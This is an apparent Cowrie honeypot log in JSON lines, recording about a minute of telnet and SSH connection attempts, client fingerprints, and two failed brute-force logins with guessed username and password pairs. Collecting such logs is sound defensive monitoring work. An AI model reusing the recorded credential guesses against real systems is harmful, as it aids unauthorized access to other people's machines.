{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":60692,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5590afa1cfa","protocol":"ssh","message":"New connection: 209.99.185.195:60692 (10.17.0.5:22) [session: a5590afa1cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:21.661485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:21.668572Z","src_ip":"209.99.185.195","session":"a5590afa1cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:21.782419Z","src_ip":"209.99.185.195","session":"a5590afa1cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker2024","message":"login attempt [docker/docker2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:22.271207Z","src_ip":"209.99.185.195","session":"a5590afa1cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":54654,"dst_ip":"159.203.135.109","dst_port":23,"session":"9827bc8b17d0","protocol":"telnet","message":"New connection: 185.185.82.165:54654 (159.203.135.109:23) [session: 9827bc8b17d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:22.954303Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:23.388725Z","src_ip":"209.99.185.195","session":"a5590afa1cfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.63956570625305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:24.931193Z","src_ip":"185.185.82.165","session":"133fbc00a63e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59294,"dst_ip":"159.203.135.109","dst_port":23,"session":"c68786ef7a67","protocol":"telnet","message":"New connection: 185.185.82.165:59294 (159.203.135.109:23) [session: c68786ef7a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:25.692905Z"}
{"eventid":"cowrie.session.closed","duration":34.692652225494385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:27.826869Z","src_ip":"185.185.82.165","session":"f5ac5312c8be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53734469413757,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:28.855010Z","src_ip":"185.185.82.165","session":"a0a7f9526a67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59310,"dst_ip":"159.203.135.109","dst_port":23,"session":"e307774073d5","protocol":"telnet","message":"New connection: 185.185.82.165:59310 (159.203.135.109:23) [session: e307774073d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:30.340313Z"}
{"eventid":"cowrie.session.closed","duration":32.11154079437256,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:30.889681Z","src_ip":"185.185.82.165","session":"4e4d6f9824fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99983096122742,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:32.337498Z","src_ip":"185.185.82.165","session":"5e868bfb6c39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59312,"dst_ip":"159.203.135.109","dst_port":23,"session":"7292b89c7539","protocol":"telnet","message":"New connection: 185.185.82.165:59312 (159.203.135.109:23) [session: 7292b89c7539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:32.572319Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59314,"dst_ip":"159.203.135.109","dst_port":23,"session":"95f21198cbc3","protocol":"telnet","message":"New connection: 185.185.82.165:59314 (159.203.135.109:23) [session: 95f21198cbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:32.663777Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59322,"dst_ip":"159.203.135.109","dst_port":23,"session":"afc1c1d48382","protocol":"telnet","message":"New connection: 185.185.82.165:59322 (159.203.135.109:23) [session: afc1c1d48382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:33.581427Z"}
{"eventid":"cowrie.session.closed","duration":32.663243770599365,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:33.961693Z","src_ip":"185.185.82.165","session":"8bfc8213f3bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":58958,"dst_ip":"159.203.135.109","dst_port":23,"session":"492090f72197","protocol":"telnet","message":"New connection: 185.185.82.165:58958 (159.203.135.109:23) [session: 492090f72197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:34.332320Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":58966,"dst_ip":"159.203.135.109","dst_port":23,"session":"e37b2579bd9e","protocol":"telnet","message":"New connection: 185.185.82.165:58966 (159.203.135.109:23) [session: e37b2579bd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:34.680839Z"}
{"eventid":"cowrie.session.closed","duration":31.553231477737427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:35.900924Z","src_ip":"185.185.82.165","session":"7ed69928a55d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3378324508667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:36.108256Z","src_ip":"185.185.82.165","session":"13b9fd2ecd6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":58982,"dst_ip":"159.203.135.109","dst_port":23,"session":"d123cef574ff","protocol":"telnet","message":"New connection: 185.185.82.165:58982 (159.203.135.109:23) [session: d123cef574ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:36.241182Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43412,"dst_ip":"10.17.0.5","dst_port":22,"session":"b59c16033617","protocol":"ssh","message":"New connection: 80.94.92.184:43412 (10.17.0.5:22) [session: b59c16033617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:37.440138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:37.537596Z","src_ip":"80.94.92.184","session":"b59c16033617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:37.677663Z","src_ip":"80.94.92.184","session":"b59c16033617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.992775917053223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:37.725275Z","src_ip":"185.185.82.165","session":"4f18230fb9ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.275880336761475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:38.014884Z","src_ip":"185.185.82.165","session":"274a7a9f50f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:38.391815Z","src_ip":"80.94.92.184","session":"b59c16033617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":58994,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f42b748b91","protocol":"telnet","message":"New connection: 185.185.82.165:58994 (159.203.135.109:23) [session: 25f42b748b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:39.143764Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:39.528613Z","src_ip":"80.94.92.184","session":"b59c16033617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.585808277130127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:40.524196Z","src_ip":"185.185.82.165","session":"0b7b8e1929d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59002,"dst_ip":"159.203.135.109","dst_port":23,"session":"0131787cada1","protocol":"telnet","message":"New connection: 185.185.82.165:59002 (159.203.135.109:23) [session: 0131787cada1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:40.878881Z"}
{"eventid":"cowrie.session.closed","duration":31.224536657333374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:41.010879Z","src_ip":"185.185.82.165","session":"8e35eaba32cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59010,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6e86dd997a8","protocol":"telnet","message":"New connection: 185.185.82.165:59010 (159.203.135.109:23) [session: d6e86dd997a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:41.049289Z"}
{"eventid":"cowrie.session.closed","duration":31.47072720527649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:41.975430Z","src_ip":"185.185.82.165","session":"0d292a2fba6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59020,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a2cc156cc94","protocol":"telnet","message":"New connection: 185.185.82.165:59020 (159.203.135.109:23) [session: 6a2cc156cc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:42.769252Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59024,"dst_ip":"159.203.135.109","dst_port":23,"session":"bddb67a14ef0","protocol":"telnet","message":"New connection: 185.185.82.165:59024 (159.203.135.109:23) [session: bddb67a14ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:44.314404Z"}
{"eventid":"cowrie.session.closed","duration":30.92452359199524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:44.806893Z","src_ip":"185.185.82.165","session":"61237d25d551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66791605949402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:45.518386Z","src_ip":"185.185.82.165","session":"2453a52be3d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47546172142029,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:47.045008Z","src_ip":"185.185.82.165","session":"c24180379482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00098276138306,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:47.271091Z","src_ip":"138.0.214.217","session":"3b8b0354e0a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.24508571624756,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:47.326780Z","src_ip":"185.185.82.165","session":"5d3c1a61816e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47374,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8ca60fbc8c4","protocol":"telnet","message":"New connection: 185.185.82.165:47374 (159.203.135.109:23) [session: d8ca60fbc8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:47.477076Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47380,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa5619534f4d","protocol":"telnet","message":"New connection: 185.185.82.165:47380 (159.203.135.109:23) [session: aa5619534f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:47.626454Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47398,"dst_ip":"159.203.135.109","dst_port":23,"session":"58de28768972","protocol":"telnet","message":"New connection: 185.185.82.165:47398 (159.203.135.109:23) [session: 58de28768972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:49.044101Z"}
{"eventid":"cowrie.session.closed","duration":33.237568378448486,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:49.334523Z","src_ip":"185.185.82.165","session":"de8302aa534a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47414,"dst_ip":"159.203.135.109","dst_port":23,"session":"c277276cbcc1","protocol":"telnet","message":"New connection: 185.185.82.165:47414 (159.203.135.109:23) [session: c277276cbcc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:49.401484Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47430,"dst_ip":"159.203.135.109","dst_port":23,"session":"4062042b5eae","protocol":"telnet","message":"New connection: 185.185.82.165:47430 (159.203.135.109:23) [session: 4062042b5eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:49.686879Z"}
{"eventid":"cowrie.session.closed","duration":31.863185167312622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:49.691631Z","src_ip":"185.185.82.165","session":"cd0b57d32414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.572476387023926,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:49.706425Z","src_ip":"185.185.82.165","session":"1c9a93d15888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47394,"dst_ip":"159.203.135.109","dst_port":23,"session":"b50cb706cb00","protocol":"telnet","message":"New connection: 185.185.82.165:47394 (159.203.135.109:23) [session: b50cb706cb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:50.745659Z"}
{"eventid":"cowrie.session.closed","duration":30.648996829986572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:51.582035Z","src_ip":"185.185.82.165","session":"f73d3359ae60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47446,"dst_ip":"159.203.135.109","dst_port":23,"session":"c538d3821662","protocol":"telnet","message":"New connection: 185.185.82.165:47446 (159.203.135.109:23) [session: c538d3821662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:51.733896Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47436,"dst_ip":"159.203.135.109","dst_port":23,"session":"0025f046deef","protocol":"telnet","message":"New connection: 185.185.82.165:47436 (159.203.135.109:23) [session: 0025f046deef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:52.441336Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47470,"dst_ip":"159.203.135.109","dst_port":23,"session":"a51139c647e8","protocol":"telnet","message":"New connection: 185.185.82.165:47470 (159.203.135.109:23) [session: a51139c647e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:52.951670Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47452,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f7540311d7e","protocol":"telnet","message":"New connection: 185.185.82.165:47452 (159.203.135.109:23) [session: 6f7540311d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:53.373186Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47506,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f7e8568a806","protocol":"telnet","message":"New connection: 185.185.82.165:47506 (159.203.135.109:23) [session: 8f7e8568a806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:53.924546Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47510,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fe7200c4afc","protocol":"telnet","message":"New connection: 185.185.82.165:47510 (159.203.135.109:23) [session: 7fe7200c4afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:54.082301Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47480,"dst_ip":"159.203.135.109","dst_port":23,"session":"81aa16a46b28","protocol":"telnet","message":"New connection: 185.185.82.165:47480 (159.203.135.109:23) [session: 81aa16a46b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:54.184620Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47494,"dst_ip":"159.203.135.109","dst_port":23,"session":"c56e98ef229c","protocol":"telnet","message":"New connection: 185.185.82.165:47494 (159.203.135.109:23) [session: c56e98ef229c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:54.618466Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47458,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1bc44feed79","protocol":"telnet","message":"New connection: 185.185.82.165:47458 (159.203.135.109:23) [session: f1bc44feed79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:54.937433Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":60432,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d42ffa5b36b","protocol":"telnet","message":"New connection: 185.185.82.165:60432 (159.203.135.109:23) [session: 1d42ffa5b36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:55.898346Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":60448,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2e785d5ca50","protocol":"telnet","message":"New connection: 185.185.82.165:60448 (159.203.135.109:23) [session: c2e785d5ca50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:56.449895Z"}
{"eventid":"cowrie.session.closed","duration":31.193743467330933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:56.886493Z","src_ip":"185.185.82.165","session":"c68786ef7a67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.69991874694824,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:57.654118Z","src_ip":"185.185.82.165","session":"9827bc8b17d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":60460,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bb1eb7c64dd","protocol":"telnet","message":"New connection: 185.185.82.165:60460 (159.203.135.109:23) [session: 4bb1eb7c64dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:57.850807Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":60466,"dst_ip":"159.203.135.109","dst_port":23,"session":"354f4450efc3","protocol":"telnet","message":"New connection: 185.185.82.165:60466 (159.203.135.109:23) [session: 354f4450efc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:08:58.909392Z"}
{"eventid":"cowrie.session.closed","duration":31.554415225982666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:01.894543Z","src_ip":"185.185.82.165","session":"e307774073d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":60478,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dcf2f336085","protocol":"telnet","message":"New connection: 185.185.82.165:60478 (159.203.135.109:23) [session: 4dcf2f336085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:02.891843Z"}
{"eventid":"cowrie.session.closed","duration":30.737614154815674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:03.401264Z","src_ip":"185.185.82.165","session":"95f21198cbc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980382204055786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:03.552563Z","src_ip":"185.185.82.165","session":"7292b89c7539","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817613124847412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:04.398914Z","src_ip":"185.185.82.165","session":"afc1c1d48382","protocol":"telnet"}
